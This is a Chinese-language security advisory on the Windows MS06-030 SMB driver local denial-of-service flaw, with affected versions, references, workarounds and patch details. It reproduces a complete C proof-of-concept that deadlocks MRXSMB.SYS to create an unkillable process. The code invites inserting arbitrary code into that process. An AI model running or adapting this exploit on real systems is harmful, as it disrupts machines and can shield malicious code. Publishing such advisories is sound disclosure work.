首页 -> 安全研究

安全研究

安全漏洞
Microsoft Windows SMB驱动本地拒绝服务漏洞(MS06-030)

发布日期:2006-06-13
更新日期:2006-06-14

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000
描述:
BUGTRAQ  ID: 18357
CVE(CAN) ID: CVE-2006-2374

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft客户端缓存(CSCDLL.DLL)和Microsoft服务器消息块重新定向器驱动(MRXSMB.SYS)代码中存在漏洞,本地攻击者可能利用此漏洞在机器上创建无法中止的进程。

用户应用程序可通过IOCTL命令访问MRXSMB.SYS函数。在MrxSmbCscIoctlOpenForCopyChunk()函数中存在访问验证错误。如果要同MRXSMB子系统建立通讯的话,就必须创建到影子设备的文件句柄。如果对MrxSmbCscIoctlCloseForCopyChunk()函数传送了到影子设备的文件句柄,就会出现死锁,导致无法杀死的进程。

<*来源:Rubén Santamarta
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115024163215619&w=2
        http://www.idefense.com/intelligence/vulnerabilities/display.php?id=409
        http://www.microsoft.com/technet/security/Bulletin/MS06-030.mspx
        http://www.us-cert.gov/cas/techalerts/TA06-164A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

////////////////////////////////////////////////////////////////////////////////
///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////////
// Rub&#65533;n Santamarta
// ruben (at) reversemode (dot) com
// http://www.reversemode.com
////////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>


#define MAGIC_IOCTL 0x141047


VOID ShowError()
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
exit(1);
}


VOID IamAlive()
{
DWORD i;

for(i=0;i<0x1000;i++)
{
  Sleep(1000);
  printf("\rI am a Thread and I am alive [%x]",i);
}

}


VOID KillMySelf()
{
    
DWORD junk;
DWORD *OutBuff;
DWORD *InBuff;
BOOL bResult;
HANDLE hDevice;
DWORD i;

  hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                      NULL, OPEN_EXISTING, 0, NULL);
                      
  if (hDevice == INVALID_HANDLE_VALUE) ShowError();
  
  OutBuff=(DWORD*)malloc(0x18);
  if(!OutBuff) ShowError();
  
  OutBuff[3]=(DWORD)hDevice;
  
  DeviceIoControl(hDevice,
                  MAGIC_IOCTL,
                  0,0,
                  OutBuff,0x18,
                  &junk,
                  (LPOVERLAPPED)NULL);
  // MAIN THREAD ENDING.
}


int main(int argc, char *argv[])
{
    
LPTHREAD_START_ROUTINE GoodThread;
DWORD dwThreadId;
DWORD bResult;
GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;


  printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
  printf("\t(Only for educational purposes)\n");
  printf("..http://www.reversemode.com..\n\n");
  printf("Launching Thread ...");
  
  // PUT YOUR "GOOD" OR "BAD" CODE HERE
  // e.g GoodThread
  CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);  
  
  
  printf("Done\n");
  printf("I am going to dissapear,but I will be with you forever\n");
  printf("(..)\n\n");
  KillMySelf(); // Immortal mode "on" ;)
  
  return(1);
}

建议:
临时解决方法:

* 禁用Workstation服务。
* 删除MRxSmb驱动注册表项。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS06-030)以及相应补丁:
MS06-030:Vulnerability in Server Message Block Could Allow Elevation of Privilege (914389)
链接:http://www.microsoft.com/technet/security/Bulletin/MS06-030.mspx

浏览次数:3751
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障